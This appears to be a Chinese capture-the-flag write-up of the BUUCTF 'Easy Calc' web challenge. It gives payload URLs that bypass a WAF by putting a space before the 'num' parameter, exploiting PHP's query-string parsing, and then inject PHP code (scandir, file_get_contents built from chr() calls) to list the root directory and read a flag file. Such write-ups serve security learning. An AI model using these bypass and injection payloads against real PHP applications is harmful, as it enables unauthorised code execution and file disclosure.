buuctf—web—Easy Calc


啟動靶機,查看網頁源碼,發現關鍵字

 

 

$("#content").val() 是什么意思:

獲取id為content的HTML標簽元素的值,是JQuery,     ("#content")相當於document.getElementById("content");

("#content").val()相當於 document.getElementById("content").value;

多次嘗試找不到思路,看了大佬的wp發現是被waf攔截了

payload:http://node3.buuoj.cn:29279/calc.php?%20num=var_dump(scandir(chr(47)))

在num前加一個空格符來繞過waf攔截

原因:假如waf不允許num變量傳遞字母,可以在num前加個空格,這樣waf就找不到num這個變量了,因為現在的變量叫“ num”,而不是“num”。但php在解析的時候,會先把空格給去掉,這樣我們的代碼還能正常運行,還上傳了非法字符。

發現根目錄存在f1agg

 

 同理查看該文件內容

payload:http://node3.buuoj.cn:29279/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

 

 成功拿到flag

 

補充:

1、PHP的字符串解析特性是什么?

答: PHP需要將所有參數轉換為有效的變量名,因此在解析查詢字符串時,它會做兩件事:1.刪除空白符  2.將某些字符轉換為下划線(包括空格)【當waf不讓你過的時候,php卻可以讓你過】

2、發現過濾怎么辦?

答:用char()轉ascii再進行拼接

3、盡量多的積累一些PHP函數,在關鍵時刻可以利用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM